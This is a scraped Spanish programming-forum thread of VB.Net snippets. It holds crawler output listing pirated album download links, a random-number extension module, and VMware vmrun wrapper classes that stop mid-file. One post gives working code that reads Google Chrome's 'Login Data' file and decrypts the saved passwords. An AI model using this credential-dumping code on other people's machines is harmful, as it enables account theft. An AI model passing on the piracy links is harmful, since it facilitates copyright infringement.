Download Link(s): { https://mega.nz/#!w8FUDQhb!COgXmh-uPayeSk5k1mpHrdIy5VziIIvTO7iaW0MfmTM }

Artist Name.....: Héroes Del Silencio
Album Title.....: Entre Dos Tierras (Ep)
Album Year......: 1992
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700488
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700488
Download Link(s): { https://mega.nz/#!7V1H3T4L!1q_o2lLp-b6Ky2p7P_minriRplYwUc8WRdSi7K24aes }

[+] End crawling page with index: 0

[+] Begin crawling page with index: 1

Artist Name.....: Héroes Del Silencio
Album Title.....: Héroes Del Silencio (Ep)
Album Year......: 1986
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700487
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700487
Download Link(s): { https://mega.nz/#!GNkTyZwA!0EXRDQwIpyG5BoVoY5zCnkonnAe3ZzFJmD4hwfmi-og, https://mega.nz/#!ljZ13RRK!u36qptAkX9XJN2LNKKZYTk25o-6kC4vgp1TXZ5wDRyo }

Artist Name.....: Heroés Del Silencio
Album Title.....: Live In Germany (Live)
Album Year......: 2011
Album Country...: Spain
Album Genre.....: Pop Rock, Alternative Rock
Album Id........: 691258
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=691258
Download Link(s): { https://mega.nz/#!84oxmBgB!q1x4NuAd79OUAyp4X7O5Da0b0KFwWwOoFNKqGGFQHW8 }

Artist Name.....: Héroes Del Silencio
Album Title.....: Canciones '84 - '96 (Compilation)
Album Year......: 2000
Album Country...: Spain
Album Genre.....: Classic Rock
Album Id........: 675749
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=675749
Download Link(s): { https://mega.nz/#!8uI0iBBD!3SFYXCJRse5ijwmC9TLgTtfhL8Jr__t3-qSI7IPurSI }

Artist Name.....: Héroes Del Silencio
Album Title.....: Tour 2007 (Live)
Album Year......: 2007
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 639726
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639726
Download Link(s): { https://mega.co.nz/#!t81VUIxT!Y5qEQUR5C8wIA69pH4w90DWRCxN8dcKsCVSFmCT46P8 }

Artist Name.....: Héroes Del Silencio
Album Title.....: Rarezas (Compilation)
Album Year......: 1998
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 639724
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639724
Download Link(s): { http://www.mediafire.com/download/v6oyrrh7un9o8t0/HDS98-R.gif, https://mega.co.nz/#!pgUlFC5Y!M3KOBFXZb5ZoN1TD-KRHOhl1mzIwm5WoQjqtsbncevk }

Artist Name.....: Héroes Del Silencio
Album Title.....: El Ruido Y La Furia (Live)
Album Year......: 2005
Album Country...: Spain
Album Genre.....: Rock And Roll, Hard Rock
Album Id........: 639723
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639723
Download Link(s): { https://mega.co.nz/#!N1tgEIhA!FhSGL1xaktCN1HphZuOJFn5EmRhetkfS8bUpAB47KCY }

Artist Name.....: Héroes Del Silencio
Album Title.....: El Mar No Cesa
Album Year......: 1988
Album Country...: Spain
Album Genre.....: Pop Rock
Album Id........: 46543
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=46543
Download Link(s): { http://www.mediafire.com/?no7d4y5vp2btna6 }

Artist Name.....: Héroes Del Silencio
Album Title.....: Para Siempre (Live)
Album Year......: 1996
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 43036
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=43036
Download Link(s): { http://www.mediafire.com/?q73ip21df7qb19d }

Artist Name.....: Héroes Del Silencio
Album Title.....: Senderos De Traición
Album Year......: 1990
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37296
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37296
Download Link(s): { https://mega.co.nz/#!ok0UQIrB!bfQdCTtlLd4Rh7MIptTvfnPFDI9oBEd-ZvotzILoCFw }

Artist Name.....: Héroes Del Silencio
Album Title.....: Avalancha
Album Year......: 1995
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37292
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37292
Download Link(s): { https://mega.nz/#!Fc4zEaia!-5LYB3ueWHoZB890f34zsW_aTUTrsFQAwIvbpcZH4as }

[+] End crawling page with index: 1

[+] Begin crawling page with index: 2

Artist Name.....: Héroes Del Silencio
Album Title.....: El Espíritu Del Vino
Album Year......: 1993
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37253
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37253
Download Link(s): { https://mega.nz/#!0ZxC2LiJ!D1Rl95lm9sgz9RGxEPSmGSrW8ZvzVH5VckbDOJ81GnA }

[+] End crawling page with index: 2

Done!. Press any key to exit...
« Última modificación: 5 Abril 2018, 02:23 am por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #525 en: 5 Abril 2018, 17:06 pm »

Obtener un valor aleatorio de tipo Single (float en C#), Double o Decimal dentro de un rango mínimo y máximo específico.



He implementado esta solución mediante un módulo de extensiones de método para la clase System.Random

La lista de miembros disponibles son los siguientes:

  • Random.NextSingle() As Single
  • Random.NextSingle(Single) As Single
  • Random.NextSingle(Single, Single) As Single
  • Random.NextDouble(Double) As Double
  • Random.NextDouble(Double, Double) As Double
  • Random.NextDecimal() As Decimal
  • Random.NextDecimal(Decimal) As Decimal
  • Random.NextDecimal(Decimal, Decimal) As Decimal

El código fuente:
Código
  1. #Region " Option Statements "
  2.  
  3. Option Strict On
  4. Option Explicit On
  5. Option Infer Off
  6.  
  7. #End Region
  8.  
  9. #Region " Imports "
  10.  
  11. Imports System.ComponentModel
  12. Imports System.Runtime.CompilerServices
  13.  
  14. #End Region
  15.  
  16. #Region " Random Extensions "
  17.  
  18. Namespace Extensions
  19.  
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <summary>
  22.    ''' Contains custom extension methods to use with the <see cref="Random"/> type.
  23.    ''' </summary>
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    <ImmutableObject(True)>
  26.    <HideModuleName>
  27.    Public Module RandomExtensions
  28.  
  29. #Region " Public Extension Methods "
  30.  
  31.        ''' ----------------------------------------------------------------------------------------------------
  32.        ''' <summary>
  33.        ''' Returns a non-negative <see cref="Single"/> value.
  34.        ''' </summary>
  35.        ''' ----------------------------------------------------------------------------------------------------
  36.        ''' <param name="sender">
  37.        ''' The source <see cref="Random"/>.
  38.        ''' </param>
  39.        ''' ----------------------------------------------------------------------------------------------------
  40.        ''' <returns>
  41.        ''' The resulting <see cref="Single"/> value.
  42.        ''' </returns>
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        <DebuggerStepThrough>
  45.        <Extension>
  46.        <EditorBrowsable(EditorBrowsableState.Always)>
  47.        Public Function NextSingle(ByVal sender As Random) As Single
  48.            Return CSng(sender.NextDouble())
  49.        End Function
  50.  
  51.        ''' ----------------------------------------------------------------------------------------------------
  52.        ''' <summary>
  53.        ''' Returns a non-negative <see cref="Single"/> value between zero and the maximum specified.
  54.        ''' </summary>
  55.        ''' ----------------------------------------------------------------------------------------------------
  56.        ''' <param name="sender">
  57.        ''' The source <see cref="Random"/>.
  58.        ''' </param>
  59.        '''
  60.        ''' <param name="maxValue">
  61.        ''' The maximum value.
  62.        ''' </param>
  63.        ''' ----------------------------------------------------------------------------------------------------
  64.        ''' <returns>
  65.        ''' The resulting <see cref="Single"/> value.
  66.        ''' </returns>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        <DebuggerStepThrough>
  69.        <Extension>
  70.        <EditorBrowsable(EditorBrowsableState.Always)>
  71.        Public Function NextSingle(ByVal sender As Random, ByVal maxValue As Single) As Single
  72.            Return NextSingle(sender, 0.0F, maxValue)
  73.        End Function
  74.  
  75.        ''' ----------------------------------------------------------------------------------------------------
  76.        ''' <summary>
  77.        ''' Returns a non-negative <see cref="Single"/> value between the minimum and maximum specified.
  78.        ''' </summary>
  79.        ''' ----------------------------------------------------------------------------------------------------
  80.        ''' <param name="sender">
  81.        ''' The source <see cref="Random"/>.
  82.        ''' </param>
  83.        '''
  84.        ''' <param name="minValue">
  85.        ''' The minimum value.
  86.        ''' </param>
  87.        '''
  88.        ''' <param name="maxValue">
  89.        ''' The maximum value.
  90.        ''' </param>
  91.        ''' ----------------------------------------------------------------------------------------------------
  92.        ''' <returns>
  93.        ''' The resulting <see cref="Single"/> value.
  94.        ''' </returns>
  95.        ''' ----------------------------------------------------------------------------------------------------
  96.        <DebuggerStepThrough>
  97.        <Extension>
  98.        <EditorBrowsable(EditorBrowsableState.Always)>
  99.        Public Function NextSingle(ByVal sender As Random, ByVal minValue As Single, ByVal maxValue As Single) As Single
  100.            Return NextSingle(sender) * (maxValue - minValue) + minValue
  101.        End Function
  102.  
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <summary>
  105.        ''' Returns a non-negative <see cref="Double"/> value between zero and the maximum specified.
  106.        ''' </summary>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        ''' <param name="sender">
  109.        ''' The source <see cref="Random"/>.
  110.        ''' </param>
  111.        '''
  112.        ''' <param name="maxValue">
  113.        ''' The maximum value.
  114.        ''' </param>
  115.        ''' ----------------------------------------------------------------------------------------------------
  116.        ''' <returns>
  117.        ''' The resulting <see cref="Double"/> value.
  118.        ''' </returns>
  119.        ''' ----------------------------------------------------------------------------------------------------
  120.        <DebuggerStepThrough>
  121.        <Extension>
  122.        <EditorBrowsable(EditorBrowsableState.Always)>
  123.        Public Function NextDouble(ByVal sender As Random, ByVal maxValue As Double) As Double
  124.            Return NextDouble(sender, 0.0R, maxValue)
  125.        End Function
  126.  
  127.        ''' ----------------------------------------------------------------------------------------------------
  128.        ''' <summary>
  129.        ''' Returns a non-negative <see cref="Double"/> value between the minimum and maximum specified.
  130.        ''' </summary>
  131.        ''' ----------------------------------------------------------------------------------------------------
  132.        ''' <param name="sender">
  133.        ''' The source <see cref="Random"/>.
  134.        ''' </param>
  135.        '''
  136.        ''' <param name="minValue">
  137.        ''' The minimum value.
  138.        ''' </param>
  139.        '''
  140.        ''' <param name="maxValue">
  141.        ''' The maximum value.
  142.        ''' </param>
  143.        ''' ----------------------------------------------------------------------------------------------------
  144.        ''' <returns>
  145.        ''' The resulting <see cref="Double"/> value.
  146.        ''' </returns>
  147.        ''' ----------------------------------------------------------------------------------------------------
  148.        <DebuggerStepThrough>
  149.        <Extension>
  150.        <EditorBrowsable(EditorBrowsableState.Always)>
  151.        Public Function NextDouble(ByVal sender As Random, ByVal minValue As Double, ByVal maxValue As Double) As Double
  152.            Return sender.NextDouble() * (maxValue - minValue) + minValue
  153.        End Function
  154.  
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        ''' <summary>
  157.        ''' Returns a non-negative <see cref="Decimal"/> value.
  158.        ''' </summary>
  159.        ''' ----------------------------------------------------------------------------------------------------
  160.        ''' <param name="sender">
  161.        ''' The source <see cref="Random"/>.
  162.        ''' </param>
  163.        ''' ----------------------------------------------------------------------------------------------------
  164.        ''' <returns>
  165.        ''' The resulting <see cref="Decimal"/> value.
  166.        ''' </returns>
  167.        ''' ----------------------------------------------------------------------------------------------------
  168.        <DebuggerStepThrough>
  169.        <Extension>
  170.        <EditorBrowsable(EditorBrowsableState.Always)>
  171.        Public Function NextDecimal(ByVal sender As Random) As Decimal
  172.            Return NextDecimal(sender, Decimal.MaxValue)
  173.        End Function
  174.  
  175.        ''' ----------------------------------------------------------------------------------------------------
  176.        ''' <summary>
  177.        ''' Returns a non-negative <see cref="Decimal"/> value between zero and the maximum specified.
  178.        ''' </summary>
  179.        ''' ----------------------------------------------------------------------------------------------------
  180.        ''' <param name="sender">
  181.        ''' The source <see cref="Random"/>.
  182.        ''' </param>
  183.        '''
  184.        ''' <param name="maxValue">
  185.        ''' The maximum value.
  186.        ''' </param>
  187.        ''' ----------------------------------------------------------------------------------------------------
  188.        ''' <returns>
  189.        ''' The resulting <see cref="Decimal"/> value.
  190.        ''' </returns>
  191.        ''' ----------------------------------------------------------------------------------------------------
  192.        <DebuggerStepThrough>
  193.        <Extension>
  194.        <EditorBrowsable(EditorBrowsableState.Always)>
  195.        Public Function NextDecimal(ByVal sender As Random, ByVal maxValue As Decimal) As Decimal
  196.            Return NextDecimal(sender, Decimal.Zero, maxValue)
  197.        End Function
  198.  
  199.        ''' ----------------------------------------------------------------------------------------------------
  200.        ''' <summary>
  201.        ''' Returns a non-negative <see cref="Decimal"/> value between the minimum and maximum specified.
  202.        ''' </summary>
  203.        ''' ----------------------------------------------------------------------------------------------------
  204.        ''' <param name="sender">
  205.        ''' The source <see cref="Random"/>.
  206.        ''' </param>
  207.        '''
  208.        ''' <param name="minValue">
  209.        ''' The minimum value.
  210.        ''' </param>
  211.        '''
  212.        ''' <param name="maxValue">
  213.        ''' The maximum value.
  214.        ''' </param>
  215.        ''' ----------------------------------------------------------------------------------------------------
  216.        ''' <returns>
  217.        ''' The resulting <see cref="Decimal"/> value.
  218.        ''' </returns>
  219.        ''' ----------------------------------------------------------------------------------------------------
  220.        <DebuggerStepThrough>
  221.        <Extension>
  222.        <EditorBrowsable(EditorBrowsableState.Always)>
  223.        Public Function NextDecimal(ByVal sender As Random, ByVal minValue As Decimal, ByVal maxValue As Decimal) As Decimal
  224.            Dim nextSample As Decimal = NextDecimalSample(sender)
  225.            Return maxValue * nextSample + minValue * (1 - nextSample)
  226.        End Function
  227.  
  228. #End Region
  229.  
  230. #Region " Private Methods "
  231.  
  232.        ''' ----------------------------------------------------------------------------------------------------
  233.        ''' <summary>
  234.        ''' Provides a random <see cref="Decimal"/> value
  235.        ''' in the range: [0.0000000000000000000000000000, 0.9999999999999999999999999999)
  236.        ''' with (theoretical) uniform and discrete distribution.
  237.        ''' </summary>
  238.        ''' ----------------------------------------------------------------------------------------------------
  239.        ''' <remarks>
  240.        ''' <see href="https://stackoverflow.com/a/28860710/1248295"/>
  241.        ''' </remarks>
  242.        ''' ----------------------------------------------------------------------------------------------------
  243.        ''' <param name="rng">
  244.        ''' The source <see cref="Random"/>.
  245.        ''' </param>
  246.        ''' ----------------------------------------------------------------------------------------------------
  247.        ''' <returns>
  248.        ''' The resulting <see cref="Decimal"/> value.
  249.        ''' </returns>
  250.        ''' ----------------------------------------------------------------------------------------------------
  251.        <DebuggerStepperBoundary>
  252.        Private Function NextDecimalSample(ByVal rng As Random) As Decimal
  253.            Dim sample As Decimal = 1D
  254.            ' After ~200 million tries this never took more than one attempt
  255.            ' but it Is possible To generate combinations Of a, b, and c
  256.            ' With the approach below resulting In a sample >= 1.
  257.            Do While (sample >= 1D)
  258.                Dim a As Integer = rng.Next(0, Integer.MaxValue)
  259.                Dim b As Integer = rng.Next(0, Integer.MaxValue)
  260.                Dim c As Integer = rng.Next(542101087) ' The high bits of 0.9999999999999999999999999999m are 542101086.
  261.                sample = New Decimal(a, b, c, False, 28)
  262.            Loop
  263.            Return sample
  264.        End Function
  265.  
  266. #End Region
  267.  
  268.    End Module
  269.  
  270. End Namespace
  271.  
  272. #End Region
« Última modificación: 5 Abril 2018, 17:13 pm por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #526 en: 8 Abril 2018, 18:41 pm »

¿Cómo obtener las contraseñas de Google Chrome?

En relación a este post: https://foro.elhacker.net/dudas_generales/leer_cookies_de_chrome_y_su_valor-t482292.0.html;msg2159271#msg2159271 - he decidido desarrollar este algoritmo para recuperar contraseñas de Google Chrome. La recuperación tiene limitaciones en escenarios específicos debido a la naturaleza del tipo de cifrado; si quieren saber más acerca de eso, lean el post en el enlace que he compartido arriba.

Para poder utilizar este código, deben añadir una referencia a la librería System.Security.dll, y System.Data.SQLite.dll: https://system.data.sqlite.org/index.html/doc/trunk/www/downloads.wiki

Código
  1. Imports System
  2. Imports System.Collections.Generic
  3. Imports System.Data
  4. Imports System.Data.SQLite
  5. Imports System.IO
  6. Imports System.Net
  7. Imports System.Security.Cryptography
  8. Imports System.Text

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the Google Chrome logins stored for the current user.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim loginsFile As New FileInfo("C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data")
  9. ''' Dim logins As IEnumerable(Of NetworkCredential) =
  10. '''     From login As NetworkCredential In
  11. '''         GetGoogleChromeLogins(loginsFile, "_NULL_", "_NULL_", "_UNDECRYPTABLE_")
  12. '''     Order By login.Domain Ascending
  13. '''
  14. ''' For Each login As NetworkCredential In logins
  15. '''     Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
  16. ''' Next login
  17. ''' </code>
  18. ''' </example>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. ''' <param name="loginDataFile">
  21. ''' The "Logins Data" file that stores the user logins.
  22. ''' <para></para>
  23. ''' This file is typically located at: 'C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default'.
  24. ''' </param>
  25. '''
  26. ''' <param name="defaultIfUsernameEmpty">
  27. ''' A default value to assign for an empty username.
  28. ''' </param>
  29. '''
  30. ''' <param name="defaultIfPasswordEmpty">
  31. ''' A default value to assign for an empty password.
  32. ''' </param>
  33. '''
  34. ''' <param name="defaultIfPasswordUndecryptable">
  35. ''' A default value to assign for a undecryptable password.
  36. ''' </param>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. ''' <returns>
  39. ''' A <see cref="IEnumerable(Of NetworkCredential)"/> containing the user logins.
  40. ''' </returns>
  41. ''' ----------------------------------------------------------------------------------------------------
  42. <DebuggerStepperBoundary>
  43. Public Shared Function GetGoogleChromeLogins(ByVal loginDataFile As FileInfo,
  44.                                             Optional ByVal defaultIfUsernameEmpty As String = "",
  45.                                             Optional ByVal defaultIfPasswordEmpty As String = "",
  46.                                             Optional ByVal defaultIfPasswordUndecryptable As String = ""
  47.                                             ) As IEnumerable(Of NetworkCredential)
  48.  
  49.    Return GetGoogleChromeLogins(loginDataFile.FullName, defaultIfUsernameEmpty, defaultIfPasswordEmpty, defaultIfPasswordUndecryptable)
  50.  
  51. End Function

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the Google Chrome logins stored for the current user.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim loginDataPath As String = "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  9. ''' Dim logins As IEnumerable(Of NetworkCredential) =
  10. '''     From login As NetworkCredential In
  11. '''         GetGoogleChromeLogins(loginDataPath, "_NULL_", "_NULL_", "_UNDECRYPTABLE_")
  12. '''     Order By login.Domain Ascending
  13. '''
  14. ''' For Each login As NetworkCredential In logins
  15. '''     Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
  16. ''' Next login
  17. ''' </code>
  18. ''' </example>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. ''' <param name="loginDataPath">
  21. ''' The full path to "Logins Data" file that stores the user logins.
  22. ''' <para></para>
  23. ''' This file is typically located at: 'C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default'.
  24. ''' </param>
  25. '''
  26. ''' <param name="defaultIfUsernameEmpty">
  27. ''' A default value to assign for an empty username.
  28. ''' </param>
  29. '''
  30. ''' <param name="defaultIfPasswordEmpty">
  31. ''' A default value to assign for an empty password.
  32. ''' </param>
  33. '''
  34. ''' <param name="defaultIfPasswordUndecryptable">
  35. ''' A default value to assign for a undecryptable password.
  36. ''' </param>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. ''' <returns>
  39. ''' A <see cref="IEnumerable(Of NetworkCredential)"/> containing the user logins.
  40. ''' </returns>
  41. ''' ----------------------------------------------------------------------------------------------------
  42. <DebuggerStepperBoundary>
  43. Public Shared Iterator Function GetGoogleChromeLogins(ByVal loginDataPath As String,
  44.                                                      Optional ByVal defaultIfUsernameEmpty As String = "",
  45.                                                      Optional ByVal defaultIfPasswordEmpty As String = "",
  46.                                                      Optional ByVal defaultIfPasswordUndecryptable As String = ""
  47.                                                      ) As IEnumerable(Of NetworkCredential)
  48.  
  49.    Dim sqlConnectionString As String = String.Format("data source={0};New=True;UseUTF16Encoding=True", loginDataPath)
  50.    Dim sqlCommandText As String = "SELECT origin_url, username_value, password_value FROM 'logins'"
  51.    Dim textEncoding As New UTF8Encoding(encoderShouldEmitUTF8Identifier:=True)
  52.  
  53.    Using dt As New DataTable(),
  54.        sqlConnection As New SQLiteConnection(sqlConnectionString),
  55.        sqlCommand As New SQLiteCommand(sqlCommandText, sqlConnection),
  56.        sqlAdapter As New SQLiteDataAdapter(sqlCommand)
  57.        sqlAdapter.Fill(dt)
  58.  
  59.        For Each row As DataRow In dt.Rows
  60.            Dim domain As String = row("origin_url")
  61.  
  62.            Dim userName As String = row("username_value")
  63.            If String.IsNullOrEmpty(userName) Then
  64.                userName = defaultIfUsernameEmpty
  65.            End If
  66.  
  67.            Dim passwordEncrypted As Byte() = DirectCast(row("password_value"), Byte())
  68.            Dim passwordDecrypted As Byte()
  69.            Dim passwordString As String = String.Empty
  70.  
  71.            Try
  72.                passwordDecrypted = ProtectedData.Unprotect(passwordEncrypted, Nothing, DataProtectionScope.CurrentUser)
  73.                passwordString = textEncoding.GetString(passwordDecrypted)
  74.  
  75.            Catch ex As CryptographicException When (ex.HResult = -2146893813) ' Key not valid for use in specified state.
  76.                ' This means the current user can't decrypt the encrypted data,
  77.                ' because the encryption key was derived using a different user credential.
  78.                passwordString = defaultIfPasswordUndecryptable
  79.  
  80.            Catch ex As Exception
  81.                Throw
  82.  
  83.            Finally
  84.                If String.IsNullOrEmpty(passwordString) Then
  85.                    passwordString = defaultIfPasswordEmpty
  86.                End If
  87.  
  88.            End Try
  89.  
  90.            Yield New NetworkCredential(userName, passwordString, domain)
  91.        Next row
  92.  
  93.    End Using
  94.  
  95. End Function

Ejemplo de uso:
Código
  1. Dim loginDataPath As String = "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  2. Dim logins As IEnumerable(Of NetworkCredential) =
  3.    From login As NetworkCredential In
  4.        GetGoogleChromeLogins(loginDataPath, "", "", "_UNDECRYPTABLE_")
  5.    Order By login.Domain Ascending
  6.  
  7. For Each login As NetworkCredential In logins
  8.    Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
  9. Next login

Ejemplo de salida del programa... ya se lo pueden imaginar:
Citar
chrome://wmn/accounts/gmail; UserName; Password
chrome://wmn/accounts/hotmail; UserName; Password
http://foro.elhacker.net/; UserName; Password
http://forum.doom9.org/; UserName; Password
http://forum.soundarea.org/; UserName; Password
http://forums.nvidia.com/; UserName; Password
...

Saludos!.
« Última modificación: 8 Abril 2018, 23:15 pm por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #527 en: 8 Mayo 2018, 14:25 pm »

¿Cómo interoperar entre el sistema operativo huésped de una máquina virtual de VMWare, y el sistema operativo anfitrión?.

Me encargaron un trabajo que consistia en diseñar una GUI para monitorizar máquinas virtuales de VMWare y realizar ciertas cosas dentro de cada sistema operativo huésped, y... bueno, aunque ni por asomo tenía la obligación de currármelo tanto como vereis a continuacion, pero ya sabeis que siempre que me gusta una idea intento implementarla de forma sofisticada (dentro de mis capacidades) y reutilizable para el futuro, me gusta hacer las cosas lo mejor posible (repito, dentro de mis capacidades), y esto es lo que acabé haciendo...

Este sistema o implementación depende del programa command-line vmrun.exe de VMWare, de otra forma sería practicamente inviable hacer esto ya sea en .NET o en un lenguaje de bajo nivel sin pasar meses o años de dedicación en el estudio e investigación; vmrun nos facilitará por completo la tarea de identificar las máquinas virtuales de VMWare que están en ejecución en el sistema operativo anfitrión, y realizar operaciones de I/O en las mismas, como copiar archivos del S.O. anfitrión al huésped o viceversa, enviar pulsaciones del teclado (o mejor dicho enviar cadenas de texto), o ejecutar programas y scripts, tomar capturas de pantalla, o administrar las carpetas compartidas y las imágenes (snapshots) de la VM, entre otras cosas. Implementé casi todas las funcionalidades de vmrun.

Como único inconveniente debo aclarar que este sistema no soporta máquinas virtuales compartidas (esas que podemos colocar en el directorio del usuario público como recurso compartido de red), y esta limitación es simplemente por pura ignorancia, ya que no he logrado averiguar la sintaxis correcta de vmrun para indicarle que el host es LOCALHOST, siempre que lo intento (ej. vmrun.exe -T ws-shared -h LOCALHOST ... ) el programa me dice que no ha logrado conectar con el servidor xD, así que si alguien sabe cual es la sintaxis le agradecería que me lo dijese para poder adaptar y mejorar este código.

Aquí lo tenen todo:

GuestOsCredential.vb
Código
  1. ''' <summary>
  2. ''' Represents the username/password login data for the running guest operating system of a VMWare's virtual machine.
  3. ''' </summary>
  4. Public NotInheritable Class GuestOsCredential
  5.  
  6. #Region " Properties "
  7.  
  8.    ''' <summary>
  9.    ''' Gets or sets the account username.
  10.    ''' </summary>
  11.    Public Property Username As String
  12.  
  13.    ''' <summary>
  14.    ''' Gets or sets the account password.
  15.    ''' </summary>
  16.    Public Property Password As String
  17.  
  18. #End Region
  19.  
  20. #Region " Constructors "
  21.  
  22.    ''' <summary>
  23.    ''' Initializes a new instance of the <see cref="GuestOsCredential"/> class.
  24.    ''' </summary>
  25.    Public Sub New()
  26.    End Sub
  27.  
  28. #End Region
  29.  
  30. End Class

VmRunProgramFlags.vb
Código
  1. ''' <summary>
  2. ''' Specifies the behavior of a program that is executed by VMWare's vmrun.exe application.
  3. ''' </summary>
  4. <Flags>
  5. Public Enum VmRunProgramFlags
  6.  
  7.    ''' <summary>
  8.    ''' Run the program using the default behavior.
  9.    ''' </summary>
  10.    None = 1
  11.  
  12.    ''' <summary>
  13.    ''' Returns a prompt immediately after the program starts in the guest operating system, rather than waiting for it to finish.
  14.    ''' <para></para>
  15.    ''' This option is useful for interactive programs.
  16.    ''' </summary>
  17.    NoWait = 2
  18.  
  19.    ''' <summary>
  20.    ''' Ensures that the program window is visible, not minimized, in the guest operating system.
  21.    ''' <para></para>
  22.    ''' This option has no effect on Linux.
  23.    ''' </summary>
  24.    ActiveWindow = 4
  25.  
  26.    ''' <summary>
  27.    ''' Forces interactive guest login.
  28.    ''' <para></para>
  29.    ''' This option is useful for Windows VISTA guests to make the program visible in he console window.
  30.    ''' </summary>
  31.    Interactive = 8
  32.  
  33. End Enum

VmRunException.vb
Código
  1. ''' <summary>
  2. ''' The exception that Is thrown When a call to VMWare's vmrun.exe application exits with an error.
  3. ''' </summary>
  4. <Serializable>
  5. <XmlRoot(NameOf(VmRunException))>
  6. <ImmutableObject(True)>
  7. Public NotInheritable Class VmRunException : Inherits Exception
  8.  
  9. #Region " Properties "
  10.  
  11.    ''' <summary>
  12.    ''' Gets the exit code of VMWare's vmrun.exe application.
  13.    ''' </summary>
  14.    Public ReadOnly Property ExitCode As Integer
  15.  
  16. #End Region
  17.  
  18. #Region " Constructors "
  19.  
  20.    ''' <summary>
  21.    ''' Prevents a default instance of the <see cref="VmRunException"/> class from being created.
  22.    ''' </summary>
  23.    Private Sub New()
  24.    End Sub
  25.  
  26.    ''' <summary>
  27.    ''' Initializes a new instance of the System.Exception class with a specified error message.
  28.    ''' </summary>
  29.    ''' <param name="message">
  30.    ''' The message that describes the error.
  31.    ''' </param>
  32.    <DebuggerNonUserCode>
  33.    <EditorBrowsable(EditorBrowsableState.Never)>
  34.    Private Sub New(ByVal message As String)
  35.        MyBase.New(message)
  36.    End Sub
  37.  
  38.    ''' <summary>
  39.    ''' Initializes a new instance of the System.Exception class with a specified error message
  40.    ''' and a reference to the inner exception that is the cause of this exception.
  41.    ''' </summary>
  42.    ''' <param name="message">
  43.    ''' The message that describes the error.
  44.    ''' </param>
  45.    '''
  46.    ''' <param name="innerException">
  47.    ''' The exception that is the cause of the current exception,
  48.    ''' or <see langword="Nothing"/> if no inner exception is specified.
  49.    ''' </param>
  50.    <DebuggerNonUserCode>
  51.    <EditorBrowsable(EditorBrowsableState.Never)>
  52.    Private Sub New(ByVal message As String, ByVal innerException As Exception)
  53.        MyBase.New(message, innerException)
  54.    End Sub
  55.  
  56.    ''' <summary>
  57.    ''' Initializes a new instance of the System.Exception class with a specified error message and exit code.
  58.    ''' </summary>
  59.    ''' <param name="message">
  60.    ''' The error message thrown by VMWare's vmrun.exe application.
  61.    ''' </param>
  62.    '''
  63.    ''' <param name="exitCode">
  64.    ''' The exit code of VMWare's vmrun.exe application
  65.    ''' </param>
  66.    Public Sub New(ByVal message As String, ByVal exitCode As Integer)
  67.        MyBase.New(message)
  68.        Me.ExitCode = exitCode
  69.    End Sub
  70.  
  71. #End Region
  72.  
  73. End Class

VmSharedFolderInfo.vb
Código
  1. ''' <summary>
